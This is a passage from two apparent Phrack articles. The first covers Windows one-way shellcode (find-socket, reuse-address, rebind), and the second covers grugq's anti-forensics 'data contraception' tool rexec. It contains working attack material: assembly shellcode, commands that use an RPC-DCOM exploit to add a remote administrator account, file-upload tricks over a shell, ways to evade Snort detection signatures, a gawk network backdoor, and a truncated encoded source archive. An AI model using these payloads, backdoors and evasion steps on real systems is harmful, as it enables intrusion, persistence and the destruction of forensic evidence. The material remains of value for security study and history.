exploiting. We hope to find a generic mechanism to bypass the
firewall rules so that we can easily reuse our shellcode. With the
assumption that the only way to interact with the server is through
the port of the vulnerable service, we call these shellcode, One-way
shellcode:
* Find socket
* Reuse address socket
* Rebind socket
--[ 4.a Find socket shellcode
This method was documented in LSD's paper on Unix shellcode
(http://lsd-pl.net/unix_assembly.html). Although the code is for Unix,
we can use the same technique in the Windows world. The idea is to
locate the existing connection that the attacker was using during the
attack and use that connection for communication.
Most WinSock API requires only the socket descriptor for its
operation. So, we need to find this descriptor. In our implementation,
we loop from 0x80 onwards. This number is chosen because socket
descriptors below 0x80 are usually not relevant to our network
connection. In our experience, using socket descriptor below 0x80 in
WinSock API sometimes crash our shellcode due to lack of Stack space.
We will get the destination port of the network connection for each
socket descriptor. It is compared with a known value. We hard coded
this value in our shellcode. If there is a match, we found our
connection. However, socket may not be a non-overlapping socket.
Depending on the program that created the socket, there is
possibility that the socket we found is an overlapping socket. If
this is the case, we cannot use it directly as in/out/err handler in
CreateProcess(). To get an interaction communication from this type
of socket, we can anonymous pipe. Description on using anonymous pipe
in shellcode can be found in article by Dark Spyrit
(http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd-
pl.net/windows_components.html).
xor ebx,ebx
mov bl,80h
find:
inc ebx
mov dword ptr [ebp],10h
lea eax,[ebp]
push eax
lea eax,[ebp+4]
push eax
push ebx ;socket
call dword ptr [edi-4] ;getpeername
cmp word ptr [ebp+6],1234h ;myport
jne find
found:
push ebx ;socket
Find socket shellcode work by comparing the destination port of the
socket with a known port number. Thus, attacker must obtain this port
number first before sending the shellcode. It can be easily done by
calling getsockname() on a connected socket.
It is important to note that this type of shellcode should be use in
an environment where the attacker is not in a private IP. If you are
in a private IP, your Firewall NATing will create a new connection to
the victim machine during your attack. That connection will have a
different source port that what you obtain in your machine. Thus,
your shellcode will never be able to find the actually connection.
Find socket implementation can be found in findsock.asm in the Code
section. There is also a sample usage of find socket shellcode in
hellobug.pl, an exploit for MS SQL discovered Dave Aitel.
--[ 4.a.1 Problem with Find socket shellcode
Find socket could be perfect, but in some case, socket descriptor of
the attacking connection is no longer available. It is possible that
the socket might already been closed before it reach the vulnerable
code. In some case, the buffer overflow might be in another process
altogether.
--[ 4.b Reuse address shellcode
Since we fail to find the socket descriptor of our connection in a
vulnerability that we are exploiting, we need to find another way. In
the worst scenario, the firewall allows incoming connection only to
one port; the port which the vulnerable service is using. So, if we
can somehow create a bind to port shellcode that actually bind to the
port number of the vulnerable service, we can get a shell by
connecting to the same port.
Normally, we will not be able to bind to a port which already been
used. However, if we set our socket option to SO_REUSEADDR, it is
possible bind our shellcode to the same port of the vulnerable
service. Moreover, most applications simply bind a port to INADDR_ANY
interface, including IIS. If we know the IP address of the server, we
can even specify the IP address during bind() so that we can bind our
shellcode in front of vulnerable service. Binding it to a specific IP
allow us to get the connection first.
Once this is done, we just need to connect to the port number of the
vulnerable service to get a shell. It is also interesting to note
that Win32 allow any user to connect to port below 1024. Thus, we can
use this method even if we get IUSR or IWAM account.
If we don't know the IP address of the server (may be it is using
port forwarding to an internal IP), we still can bind the process to
INADDR_ANY. However, this means we will have 2 processes excepting
connection from the same port on the same interface. In our
experience, we may need to connect a few times to get a shell. This
is because the other process could occasionally get the connection.
API needed to create a reuse address shellcode:
* WSASocketA()
* setsockopt()
* bind()
* listen()
* accept()
--[ 4.b.1 Reuse address shellcode implementation
mov word ptr [ebp],2
push 4
push ebp
push 4 ;SO_REUSEADDR
push 0ffffh
push ebx
call dword ptr [edi-20] ;setsockopt
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0h ;IP, can be 0
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
Reuse address shellcode implementation is in reuse.asm (434 bytes) in
the Code section. Same usage of this type of shellcode is implemented
in reusewb.c exploit. This exploit is using the NTDLL (WebDav)
vulnerability on IIS Web server.
--[ 4.b.2 Problem with reuse address shellcode
Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address
is not possible.
--[ 4.c Rebind socket shellcode
It is not unusual to find application that actually uses SO_
EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our
research did not stop there. We feel that there is a need to create a
better shellcode. Assuming that we have same restriction we have as
before. The only way to connect to the vulnerable machine is via the
port of the vulnerable service. Instead of sharing the port
gracefully as reuse address socket shellcode, we can take over the
port number entirely.
If we can terminate the vulnerable service, we can bind our shell
into the very same port that was previously used by the vulnerable
service. If we can achieve that, the next connection to this port
will yield a shell.
However, our shellcode is usually running as part of the vulnerable
service. Terminating the vulnerable service will terminate our
shellcode.
To get around with this, we need to fork our shellcode into a new
process. The new process will bind to a specific port as soon as it
is available. The vulnerable service will be forcefully terminated.
Forking is not as simple as in Unix world. Fortunately, LSD has done
all the hard work for us (http://lsd-pl.net/windows_components.html).
It is done in the following manner as implemented by LSD:
1. Call CreateProcess() API to create a new process. We must
supply a filename to this API. It doesn't matter which file, as
long as it exist in the system. However, if we choose name like
IExplore, we might be able to bypass even personal firewall. We
also must create the process in Suspend Mode.
2. Call GetThreadContext() to retrieve the environment of the
suspended process. This call allows us to retrieve various
information, including CPU registry of the suspended process.
3. Use VirtualAllocEx() to create enough buffer for our shellcode
in the suspended process.
4. Call WriteProcessMemory() to copy our shellcode from the
vulnerable service to the new buffer in the suspended process.
5. Use SetThreadContext() to replace EIP with memory address of
the new buffer.
6. ResumeThread() will resume the suspended thread. When the
thread starts, it will point directly to the new buffer which
contains our shellcode.
The new shellcode in the separate process will loop constantly trying
to bind to port of the vulnerable service. However, until we
successfully terminate the vulnerable machine it will not be able to
continue.
Back in our original shellcode, we will execute TerminateProcess() to
forcefully terminate the vulnerable service. TerminateProcess() take
two parameters, the Process handle to be terminated and the return
value. Since we are terminating the current process, we can just pass
-1 as the Process Handle.
As soon as the vulnerable service terminated, our shellcode in a
separate process will be able to bind successfully to the specific
port number. It will continue to bind a shell to that port and
waiting for connection. To connect to this shell, we just need to
connect to the target machine on the port number of the vulnerable
service.
It is possible to improve the shellcode further by checking source
port number of IP before allowing a shell. Otherwise, anyone
connecting to that port immediately after your attack will obtain the
shell.
--[ 4.c.1 Rebind socket shellcode implementation
Rebind socket shellcode is implemented in rebind.asm in the Code
section. We need to use a lot of APIs in this shellcode. Loading
these APIs by name will make our shellcode much bigger than it should
be. Thus, the rebind socket shellcode is using another method to
locate the APIs that we need. Instead of comparing the API by its
name, we can compare by its fingerprint/hash. We generate a
fingerprint for each API name we want to use and store it in our
shellcode. Thus, we only need to store 4 bytes (size of the
fingerprint) for each API. During shellcode execution, we will
calculate the fingerprint of API name in the Export Table and compare
it with our value. If there is a match, we found the API we need. The
function that loads an API address by its fingerprint in rebind.asm
was ripped from HD Moore's MetaSploit Framework
(http://metasploit.com/sc/win32_univ_loader_src.c).
A sample usage of a rebind socket shellcode can be found rebindwb.c
and lengmui.c in the Code section. Rebindwb.c is an exploit modified
from the previous WebDAV exploit that make use of Rebind shellcode.
It will attack IIS, kill it and take over its port. Connecting to
port 80 after the exploit will grant the attacker a shell.
The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP
1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP
1433 will grant the attacker a shell.
--[ 4.d Other one-way shellcode
There are other creative mechanisms being implemented by Security
Expert in the field. For example, Brett Moore's 91 bytes shellcode as
published in Pen-Test mailing list (http://seclists.org/lists/pen-
test/2003/Jan/0000.html). It is similar to the Find Socket shellcode,
only that, instead of actually finding the attacking connection, the
shellcode create a new process of CMD for every socket descriptor.
Also similar to Find socket shellcode, instead of checking the
destination port to identify our connection, XFocus's forum has
discussion on sending additional bytes for verification. Our
shellcode will read 4 more bytes from every socket descriptor, and if
the bytes match with our signature, we will bind a CMD shell to that
connection. It could be implemented as:
* An exploit send additional bytes as signature ("ey4s") after
sending the overflow string
* The shellcode will set each socket descriptor to non-blocking
* Shellcode call API recv() to check for "ey4s"
* If there is a match, spawn CMD
* Loop if not true
It is also possible to send it with "MSG_OOB" flag. As implemented by
san _at_ xfocus d0t org.
Yet, another possibility is to implement shellcode that execute
command that attached in the shellcode it self. There is no need to
create network connection. The shellcode just execute the command and
die. We can append our command as part of the shellcode and execute
CreateProcess() API. A sample implementation can be found on dcomx.c
in the Code section. For example, we can use the following command to
add a remote administrator to a machine which is vulnerable to RPC-
DCOM bug as discovered by LSD.
# dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass"
# dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser"
--[ 5 Transferring file using shellcode
One of the most common things to do after you break into a box is to
upload or download files. We usually download files from our target
as proof of successful penetration testing. We also often upload
additional tools to the server to use it as an attacking point to
attack other internal server.
In the absent of a firewall, we can easily use FTP or TFTP tools
found in standard Windows installation to get the job done:
* ftp -s:script
* tftp -i myserver GET file.exe
However, in a situation where there is no other way to go in and out,
we can still transfer file using the shell we obtain from our One-way
shellcode. It is possible to reconstruct a binary file by using the
debug.exe command available in almost every Windows.
--[ 5.a Uploading file with debug.exe
We can create text file in our target system using the echo command.
But we can't use echo to create binary file, not with the help from
debug.exe. It is possible to reconstructing binary using debug.exe.
Consider the following commands:
C:\>echo nbell.com>b.s
C:\>echo a>>b.s
C:\>echo dw07B8 CD0E C310>>b.s
C:\>echo.>>b.s
C:\>echo R CX>>b.s
C:\>echo 6 >>b.s
C:\>echo W>>b.s
C:\>echo Q>>b.s
C:\>debug<b.s
The echo command will construct a debug script which contains
necessary instructions code in hex value to create a simple binary
file. The last command will feed the script into debug.exe, which
will eventually generate our binary file.
However, we cannot construct a binary file larger than 64k. This is
the limitation of the debug.exe itself.
--[ 6.b Uploading file with VBS
Thus, a better idea to upload a binary file is to use Visual Basic
Script. VBS interpreter (cscript.exe) available by default in almost
all Windows platform. This is our strategy:
1. Create a VBS script that will read hex code from a file and
rewrite it as binary.
2. Upload the script to target using "echo" command.
3. Read file to be uploaded, and "echo" the hex code to a file in
the target server.
4. Run the VBS script to translate hex code to binary.
A sample script like below can be use to read any binary file and
create the correspondence ASC printable hex code file.
dread: while (1){
$nread2 = sysread(INFO, $disbuf, 100);
last dread if $nread2 == 0;
@bytes = unpack "C*", $disbuf;
foreach $dab (@bytes){
$txt .= sprintf "%02x", $dab;
}
$to .= "echo $txt >>outhex.txt\n";
$nnn++;
if ($nnn > 100) {
print SOCKET $to;
receive();
print ".";
$to="";
$nnn=0;
}
$txt = "";
}
Then, we create our VBS decoder in the target machine - "tobin.vbs".
We can easily use "echo" command to create this file in the target
machine. This decoder will read the outhex.txt created above and
construct the binary file.
Set arr = WScript.Arguments
Set wsf = CreateObject("Scripting.FileSystemObject")
Set infile = wsf.opentextfile(arr(arr.Count-2), 1, TRUE)
Set file = wsf.opentextfile(arr(arr.Count-1), 2, TRUE)
do while infile.AtEndOfStream = false
line = infile.ReadLine
For x = 1 To Len(line)-2 Step 2
thebyte = Chr(38) & "H" & Mid(line, x, 2)
file.write Chr(thebyte)
Next
loop
file.close
infile.close
Once the decoder is in the target machine, we just need to execute it
to convert the Hex code into a binary file:
# cscript tobin.vbs outhex.txt out.exe
--[ 5.c Retrieving file from command line
Once we have the ability to upload file to the machine, we can upload
a Base64 encoder to the target machine. We will use this encoder to
encode any file into a printable Base64 format. We can easily print
the output of the Base64 encoded in command line and capture the text.
Once we have the complete file in Base64, we will save that into a
file in our machine. Using WinZip or any Base64 decoder, we can
convert that file back into its binary form. The following command
allows us to retrieve any file in our target machine:
print SOCKET "base64 -e $file outhex2.txt\n";
receive();
print SOCKET "type outhex2.txt\n";
open(RECV, ">$file.b64");
print RECV receive();
Fortunately, all these file upload/downloading can be automated.
Refer to hellobug.pl in the Code section to see file transfer in
action.
--[ 6 Avoiding IDS detection
Snort rules now have several Attack-Response signatures that will be
able to detect common output from a Windows CMD shell. Every time we
start CMD, it will display a banner:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\sk
There is a Snort rule that capture this banner:
http://www.snort.org/snort-db/sid.html?sid=2123
We can easily avoid this by spawning cmd.exe with the parameter of
"/k" in our shellcode. All we need to do is just to add 3 more bytes
in our shellcode from "cmd" to "cmd /k". You may also need to add 3
to the value in the decoder that count the number of byte that we
need to decode.
There is also another Snort rules that capture a directory listing of
the "dir" command in a Windows shell:
http://www.snort.org/snort-db/sid.html?sid=1292
The rule compares "Volume Serial Number" in any established network
packet, if there is a match, the rule will trigger an alert.
# dir
Volume in drive C is Cool
Volume Serial Number is SKSK-6622
Directory of C:\Documents and Settings\sk
06/18/2004 06:22 PM <DIR> .
06/18/2004 06:22 PM <DIR> ..
12/01/2003 01:08 AM 58 ReadMe.txt
To avoid this, we just need to include /b in our dir command. It is
best if we set this in an environment so that dir will always use
this argument:
# set DIRCMD=/b
# dir
ReadMe.txt
Snort also has signature that detect "Command completed" in:
http://www.snort.org/snort-db/sid.html?sid=494
This command usually generated by the "net" command. It is easy to
create a wrapper for the net command that will not display "Command
completed" status or use other tools like "nbtdump", etc.
--[ 7 Restarting vulnerable service
Most often, after a buffer overflow, the vulnerable service will be
unstable. Even if we can barely keep it alive, chances are we will
not be able to attack the service again. Although we can try to fix
these problem in our shellcode, but the easiest way is to restart the
vulnerable service via our shell. This usually can be done using "at"
command to schedule a command that will restart the vulnerable
service after we exit from our shell.
For example, if our vulnerable service is IIS web server, we can
reset it using a scheduler:
#at <time> iisreset
In the case of MS SQL Server, we just need to start the
sqlserveragent service. This is a helper service installed by default
when you install MS SQL Server. It will constantly monitor and check
if the SQL Server process is running. If it is not, it will be
started. Executing the following command in our shell will start this
service, which in turn, help us to MS SQL Server once we exit.
#net start sqlserveragent
Another example is on the Workstation service bug discovered by Eeye.
In this case, we don't have a helper service. But we can kill the
relevant service, and restart it.
1. Kill the Workstation service
#taskkill /fi "SERVICES eq lanmanworkstation" /f
2. restart required services
#net start workstation
#net start "computer browser"
#net start "Themes" <== optional
#net start "messenger" <== optional
...
If we exit our shellcode now, we can attack the machine via the
Workstation exploit again.
--[ 8 End of shellcode?
Shellcode is simple to use and probably easiest to illustrate the
severity of a vulnerability in proof of concept code. However there
are a few more advance payload strategies released to the public by
LSD's Windows ASM component, Core Security's Syscall Proxy, Dave
Aitel's MOSDEF, etc. These payloads offer much more than a shell. The
References section provides a few good pointers to get more
information. We hope you enjoy reading our article as much as other
quality article from Phrack.
--[ 9 Greetz!
There are many good fellows we would like to thank for their
continuous source of information to feed our hunger for knowledge.
Without these guys, the security field will be boring.
My mentor, my friend: sam, pokleyzz, wanvadder, wyse, socket370 and
the rest of =da scan clan=, Ey4s, San and all that support XFocus
team! RD and the rest of THC! The Grugq! Saumil! Sheeraj! Nitesh!
Caddis from Team-Teso! CK and the rest of SIG^2 team! Sensepost!
BrightVaio! L33tdawg and the rest of HackInTheBox team!
Greets to the gurus: HD Moore! Halvar! HSJ! Michal, Adam and the rest
of LSD! (David) Mnemonic! Dave Aitel! EEYE! Brett Moore! And many
others Blackhat speakers for their excellence research!
--[ 10 References
* Code to this article:
http://www.scan-associates.net/papers/one-way.zip
* Shellcode and exploit:
HSJ - http://hsj.shadowpenguin.org/misc/
* More shellcode!
HD Moore - http://www.metasploit.com
* Advance payload:
CORE Security
* Syscall Proxying (http://www.blackhat.com/html/bh-usa-
02/bh-usa-02-speakers.html#Maximiliano Caceres)
* Inlineegg
(http://oss.coresecurity.com/projects/inlineegg.html)
* LSD (http://www.hivercon.com/hc02/talk-lsd.htm)
* Eeye (http://www.blackhat.com/html/win-usa-03/win-usa-03-
speakers.html#Riley Hassel)
* Dave Aitel (http://www.immunitysec.com/MOSDEF/)
* Alexander E. Cuttergo (Impurity)
--[ 11 The code
Please see http://www.scan-associates.net/papers/one-way.zip
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x08 of 0x10
|=-----=[ FIST! FIST! FIST! Its all in the wrist: Remote Exec ]=---------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ by grugq ]=------------------------------=|
1 - Abtract
2 - Introduction
3 - Principles
4 - Background
5 - Requirements
6 - Design and Implementation
6.1 - gdbprpc
6.2 - ul_exec
7 - Conclusion
8 - Greets
9 - Bibliography
10 - SourceC0de
---[ 1 - Abstract
The infrastructue of anti-forensics is built on the three strategies of
data destruction, data hiding and data contraception. The principles of
data contracteption, and a technique for executing a data contraception
attack are presented. This technique provides the ability to execute a
binary on a remote system without creating a file on the disk.
---[ 2 - Introduction
In the years since the introduction of the first two strategies of
anti-forensics [grugq 2002], there has been little additional public
research on anti-forensics. This paper introduces and discusses a third
core anti-forensics strategy: data contraception. Like the other
anti-forensic strategies, data destruction and data hiding, data
contraception seeks to reduce the quantity and quality of forensic
evidence. Data contraception achieves this by using two core principles:
preventing data from reaching the disk, and using common utilities, rather
than custom tools, wherever possible.
The rest of this paper will explore data contraception, looking first at
the core principles of data contaception, then at the requirements for a
data contraception tool, and finally the design and implemenation of such a
tool: rexec (remote exec).
--[ 3 - Principles
Data contraception is the attempt to limit the quantity and quality of
forensic evidence by keeping forensically valuable, or useful, data off the
disk. To accomplish this there are two core techniques for interacting with
the operating system: firstly, operate purely in memory, and secondly use
common utilities rather than custom crafted tools.
The first principle of data contraception, keeping data off the disk, is
most important when dealing with files that interact directly with the
operating system such as binaries, LKMs and scripts. The second principle
is for guidance when implementing the first principle, and it ensures that
any data which does touch the disk is of limited value to a forensic
analyst.
Operating in memory only is not a new technique and its already fairly well
understood with regards to rootkit development. However, using in memory
only techniques during a penetration is not as thoroughly documented in the
literature. Within rootkit technologies, the most frequently encountered
technique for operating in memory is to use ptrace() to attach to an
existing process and inject code into it's address space. Additionaly,
injecting kernel modules directly into the kernel is also a well known
technique. This paper will focus on developing in memory systems for
penetration tools.
Implementing an in-memory-only system requires a program on the remote
target host acting as a server to interact with the operating system. This
server acts as either an Inter Userland Device (IUD) -- providing access to its
own address space -- or an Intra Userland Device (IUD) -- providing access to
another address space. In either case, this IUD is critical to the effective
execution of a successful data contracteption attack.
The second principle of data contraception is critical in reducing the
effectiveness of a forensic examination. The use of common utilties means
that nothing of value exists for an analyst to recover. An example would be
a back door written using gawk. Since some version 3.x, GNU Awk has
supported network programming. Why the GNU people added network support to
a text processing tools is something of a mystery, however it is a useful
feature for a data contraception attack. Here is a proof of concept
backdoor developed in a few minutes using gawk.
[------------------------------------------------------------------------]
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
[------------------------------------------------------------------------]
To effectively use a script, such as the above, in an attack, the attacker
would employ the first principle of anti-forensics. In practice, this means
the attacker would launch the script interpretor and then copy the script
itself to the interpretor's stdin. This prevents the script from appearing
on the disk where it might be discovered during a forensic analysis.
Using these two core principles of data contraception, the rest of this
paper will examine some existing data contraception tools, along with the
design and implementation of remote exec: rexec.
---[ 4 - Background
There are already several projects which use a data contraception
methodology, although the terminology for data contraception is more recent
than their development. The projects that the author is aware of are:
MOSDEF; Core Impact, and ftrans. The first two projects are commercial
penetration testing tools, the last is an "anti-honeypot" tool.
Core Impact implements a data contraception techinque called "syscall
proxying". Core Impact uses an exploited process as an IUD (Intra), and a
client which contains the attacker's "business logic". The IUD server
executes system calls for the client and returns the result. This allows
the attacker's code to run locally on the client system, and yet behave as
if it were local to the remote system. According to Dave Aitel, there are
problems with technique, mostly related to execution speed and complexities
involving fork().
As a solution to the problems he experienced implementing the Core Impact
syscall proxying technique, Dave Aitel developed MOSDEF. MOSDEF uses an
exploited process as an IUD (Intra), and a client which contains a
compiler. This allows a penetration tester to build an arbitrary program
on the client and inject it into the address space under the control of the
IUD for execution. In this technique, the attacker's code runs on the
remote host, however it exists only in memory. The problems with this
technique are limitations in the size and complexity of the attacker's
code, and all of the issues related to implementing a compiler.
Unrelated to the previous two penetration testing programs, ftrans is a
pure anti-forensics tool designed to operate in the extremely hostile
forensic environment of a honey pot. The ftrans program uses a custom built
server which uses SSL to copy a binary from the client into it's own
address space. It then uses ul_exec() [grugq 2004] to execute the binary
from a memory buffer. This technique is most similar to what this paper
will discuss, the design and implementation of rexec.
---[ 5 - Requirements
With data contraception, any action which requires the creation of a file
is to be avoided. The most common reason for requiring a file is to execute
a binary. Building a tool which can execute an arbitrary binary on a remote
host leaves open any number of possible implementations. The requirements
need to be narrowed down to a manageable set using the principles of data
contracteption. From those requirements it is then possible to develop a
design and implementation.
Firstly, the tool has to be able to run over any number of shell
connections, so the communications protocol between the client and server
should be ASCII text based. Using ASCII text will mean a slow protocol,
however robustness and effectiveness, rather than speed, are critical to
the performance of the tool in the real world.
Secondly, the IUD server has to be a common Unix utility rather than a
custom crafted tool. That way, the discovery of the server does not
indicate that the compromised machine has been subjected to a data
contracteption attack. Using a common utility rather than writing a custom
tool means that the IUD server will not be intellegent in how it operates.
Based on the preceeding requirements, its clear that the client has to be
complex to compensate for the dumb server. This is acceptable because the
user of a data contraception tool will have complete control over at least
one machine.
---[ 6 - Design and Implementation
The core design for a data contraception tool to execute binaries on a
remote system purely from memory is:
*) use an IUD to gain access to an address space
*) upload the binary to execute into memory
*) load the binary into an address space
*) transfer control of execution to the binary
A library to load ELF binaries from memory into an existing address space
already exists: ul_exec. Using ul_exec allows the tool to simply upload a
copy of ul_exec and the binary, then transfer control to ul_exec().
Therefore, in order to implement the data contraception tool, all that is
required is a suitable IUD.
A suitable IUD would have to be a common Unix utility which can manipulate
registers and memory and accepts commands as text. There is one obvious
solution: gdb. The GNU debugger uses text commands to interact with, and
operate on, a slave child process.
Using gdb as an IUD allows an attacker to be exploit agnost for
anti-forensic attacks. After using an arbitrary exploit to gain access to a
shell, an attacker is able to execute any binary without creating a
forensic trace. By the same token, once an attacker has shell access to a
host, he is able to execute an artibtrary command without leaving any
evidence of forensic value. An IUD seperate from an exploited process
allows an attacker to use anti-forensic attacks at any point after owning
a box, rather than only during the initial exploitation phase.
--[ 6.1 - gdbprpc
To interface with gdb, a library was written which creates wrappers for the
core functions of an IUD. These are memory and register access, and control
over the execution of various regions of code. This library, gdbrpc,
creates an arbitrary slave child process for an address space to
manipulate.
Each gdbrpc session is described by an abstract object: rgp_t. This object
is created using rgp_init(), which takes a readable and writeable file
descriptor to a pty based shell. The facilities to execute system calls and
examine and set memory contents are encapsulated behind standardised
function calls. For example:
int rgp_brk(rgp_t *rp, void * end_data_segment);
void rgp_set_addr32(rgp_t *rp, void *addr, unsigned int val);
unsigned int rgp_get_addr32(rgp_t *rp, void *addr);
void rgp_set_reg(rgp_t *rp, rgp_reg reg, unsigned int val);
Copying data into and out of a slave process is accomplished using the
functions:
void rgp_copy_to(rgp_t *rp, void *remote, void *local, size_t n);
void rgp_copy_from(rgp_t *rp, void *local, void *remote, size_t n);
With the gdbrpc API set, it is trivial to allocate memory in a process,
copy in arbitrary quantities of code and data, and transfer control of
execution.
--[ 6.2 - ul_exec
In order for the ul_exec library to be correctly loaded into the address
space it needs to be relocated to the load address. This is done internally
within rexec. First, rexec allocates the space for the library in the
remote address space with rpg_mmap(). The address of that space is then
used to relocate an internally loaded copy of the ul_exec library, and the
resultant relocated library is then loaded remotely.
With the ul_exec library loaded in an address space, all that is required
is creating a memory buffer containing the desired ELF binary. This is
trivially accomplished using rgp_mmap() and rgp_copy_to().
Finally, putting it all together it is possible to encapsulate the entire
process into a single call:
int rx_execve(int fd, char *fname, int argc, char **argv);
--[ 7 - Conclusion
Along with the other two anti-forensic strategies, data destruction and
data hiding, data contraception helps an attacker reduce the effectiveness
of a forensic analysis. Data contraception attack techniques have been used
frequently in the past, although without the articulation of the formalised
core principlies. These two principles, operating in memory to keep data
off the disk, and using common utilities rather than incriminating custom
crafted tools, form the core of the data contraception strategy. A frequent
component of data contraception attacks is an IUD, which acts as a server
providing the client access to the operating system without altering the
file system.
A tool which implements a data contraception attack, remote exec, uses gdb
as an IUD providing access to a slave process' address space. Accessing rexec
requires a complex client which can gain access to a pty based shell. A tool
to encapsulate the rexec protocol has been developed: xsh. The "eXploit
SHell" is embedded within screen and provides a rich data contraception
environment for penetration time anti forensic attacks.
--[ 8 - Greets
gera, mammon, grendel PhD, xvr, a_p, _dose, "the old man", apach3, random,
joey, mikasoft, eugene.
--[ 9 - Bibliography
- grugq 2002 - The Art of Defiling: Defeating Forensic Analysis on Unix
http://www.phrack.org/phrack/59/p59-0x06.txt
- grugq 2004 - The Design and Implementation of ul_exec
http://www.hcunix.net/papers/grugq_ul_exec.txt
--[ 10 - SourceC0de
begin 600 rexec-0.8.5.tar.gz
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
